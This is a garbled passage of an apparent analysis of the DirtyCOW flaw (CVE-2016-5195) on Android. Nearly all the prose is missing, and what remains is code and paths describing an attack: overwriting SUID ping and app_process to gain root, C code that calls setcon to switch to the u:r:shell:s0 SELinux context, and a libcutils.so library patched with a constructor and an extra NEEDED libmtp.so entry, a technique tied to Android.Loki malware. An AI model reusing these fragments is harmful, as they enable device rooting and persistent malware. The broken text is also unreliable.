[ ] Android CVE-20165195 |
, linux
mPointerLocationView
, registerPointerEventListener
WindowManagerService
. WindowManager
. , WindowManager
, , , . : Android Binder IPC, WindowManager , AIDL . , AIDL , . , , , android , . . , , . ./dev/input/
, . , : , , , . , : Android root, , input. Android , ./system/bin/ping
. android-, . , SUID-. SUID (Set owner User ID up on execution UID ) Linux. , . SUID , UID GID. , ping root, root. , ? ping dirtyCOW , root ! , , , , ./system/bin/ping
system_file, , SELinux system_file untrusted_app. ping android 5.0+ , SUID-., SELinux , , pingu:object_r:system_file:s0
,u:r:untrusted_app:s0
. , .
/system/bin/app_process
, zygote, !/system/bin/app_process
payload zygote, android app_process root. /system/bin/app_process
payload- zygote . , . , app_process , ., linux fork()+execve().
/dev/input
: input_device. , , SELinux zygote input_device. , SELinux?#ifdef __aarch64__
void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
#else
void* selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
#endif
if (selinux)
{
void* getcon = dlsym(selinux, "getcon");
const char* error = dlerror();
if (!error)
{
getcon_t* getcon_p = (getcon_t*) getcon;
char* secontext;
int ret = (*getcon_p)(&secontext);
void* setcon = dlsym(selinux, "setcon");
const char* error = dlerror();
if (!error)
{
setcon_t* setcon_p = (setcon_t*) setcon;
if ((*setcon_p)("u:r:shell:s0") != 0)
{
LOGV("Unable to set context: %s!", strerror(errno));
}
(*getcon_p)(&secontext);
LOGV("Current context: %s", secontext);
}
}
dlclose(selinux);
}
else
{
LOGV("SELinux not found.");
}
/dev/input/event[X]
? . , (UNIX socket, FIFO) ( SELinux!). SD- . , . , intent am ( , Activity Manager). , , ./data/local/tmp
( shell ), , . , UID (2000 0), . - ( ) , ..init
.init_array
. , , . , .init_array
/system/lib/libcutils.so
, .__attribute__((constructor)) void say_hello()
{
payload_main();
}
.init_array
.objdump -p
: :
[.....]
STRTAB 0x00001660
STRSZ 0x000014ec
GNU_HASH 0x00002b4c
NEEDED liblog.so
NEEDED libc++.so
NEEDED libdl.so
NEEDED libc.so
NEEDED libm.so
SONAME libcutils.so
FINI_ARRAY 0x0000fbf0
[.....]
:
[.....]
STRTAB 0x00001660
STRSZ 0x000014ec
GNU_HASH 0x00002b4c
NEEDED liblog.so
NEEDED libc++.so
NEEDED libdl.so
NEEDED libc.so
NEEDED libm.so
NEEDED libmtp.so
FINI_ARRAY 0x0000fbf0
[.....]
Android.Loki.28.origin, .